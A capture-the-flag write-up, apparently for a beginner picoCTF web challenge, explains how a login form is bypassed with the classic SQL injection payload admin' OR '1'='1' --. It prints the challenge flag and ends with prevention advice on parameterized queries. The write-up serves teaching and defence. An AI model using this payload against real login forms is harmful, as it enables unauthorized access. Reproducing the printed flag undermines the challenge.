SQL Injection Master
A beginner-friendly SQL injection challenge that teaches the basics of exploiting improperly sanitized database queries.
Challenge Description
The challenge presents a simple login form thatâs vulnerable to SQL injection. The goal is to bypass authentication and retrieve the flag from the database.
Points: 100
Category: Web Exploitation
Difficulty: Easy
Reconnaissance
Upon accessing the challenge, weâre presented with a login form:
<form action="/login" method="POST">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<button type="submit">Login</button>
</form>
Testing with common credentials like admin:admin returns an âInvalid credentialsâ message.
Vulnerability Analysis
The application likely uses a SQL query similar to:
SELECT * FROM users WHERE username='$username' AND password='$password'
If the input isnât properly sanitized, we can inject SQL code to manipulate the query logic.
Exploitation
Step 1: Test for SQL Injection
First, I tested if the application is vulnerable by entering a single quote (') in the username field. This resulted in an error, confirming the vulnerability.
Step 2: Bypass Authentication
To bypass authentication, I used the classic SQL injection payload:
Username: admin' OR '1'='1' --
Password: anything
This transforms the query to:
SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='anything'
The -- comments out the rest of the query, and '1'='1' is always true, effectively bypassing the password check.
Step 3: Retrieve the Flag
After successful authentication, the application displays the flag:
picoCTF{sql_1nj3ct10n_m4st3r_5a8d2f1b}
Key Takeaways
- Always sanitize user input: Use parameterized queries or prepared statements
- Input validation: Reject or escape special characters
- Least privilege: Database users should have minimal necessary permissions
- Error handling: Donât expose detailed error messages to users
Prevention
Secure implementation using prepared statements (Python example):
cursor.execute("SELECT * FROM users WHERE username=? AND password=?", (username, password))
Flag
picoCTF{sql_1nj3ct10n_m4st3r_5a8d2f1b}